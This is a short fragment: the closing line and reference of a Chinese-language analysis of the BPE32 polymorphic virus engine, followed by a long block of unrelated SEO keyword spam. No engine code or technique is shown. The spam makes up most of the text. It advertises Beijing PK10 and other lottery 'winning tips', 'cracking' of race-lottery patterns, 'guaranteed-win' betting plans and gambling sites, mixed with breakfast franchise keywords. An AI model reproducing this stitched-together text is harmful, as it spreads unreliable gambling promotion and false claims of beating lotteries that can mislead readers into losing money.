   以上就是针对BPE32的多态引擎分析,如有分析不正确的地方还望大家不吝指正,也可通过邮件我们一起交流。     
        
    附参考文献:
[1] Benny‘s .《Benny's Polymorphic Engine for Win32》
北京pk10官网网址 北京pk10冠军杀码技巧 上海时时乐下载 北京pk10的玩法和购买方式 北京快乐8视频直播 北京pk10彩票控
北京赛车冠军规律破解 北京中和测通仪器公司 高频彩票联盟
北京pk10预测冠军定5码 北京pk10只押冠军技巧 北京pk10冠军大小 北京pk10冠军走势图 北京赛车冠军怎样选5码
北京pk10预测冠军定码 北京赛车pk10玩法 快乐十分赚钱 四川快乐12推荐号码 北京赛车pk10现场直播 北京快乐8上下盘
绿色早餐加盟 新尚早餐加盟 范征早餐加盟 河南早点加盟 早点工程加盟
早点加盟连锁 早餐的加盟 特许加盟 早点来加盟店 湖南特色早点加盟
早点连锁加盟 黑龙江早餐加盟 北京早点摊加盟 酸奶加盟 加盟 早点
早点 加盟 早点招聘 早点铺加盟 早餐店加盟 新尚早餐加盟
ta娱乐软件 北京赛车骗局揭秘 极速赛车手下载 浙江体彩网 陕西快乐十分开奖直播
广东十一选五准确计划 时时彩计划稳赢版 腾讯分分彩官方网站 广西体育彩票投注站 快乐12推荐号码技巧
吉原娱乐登录 合乐娱乐怎么样 甘肃十一选五开奖结果 11选5任2投资计划 手机app制作平台
011期免费特码资料 重庆时时彩平台 平特肖 倍投 红旗世纪星 浙江十一选五走势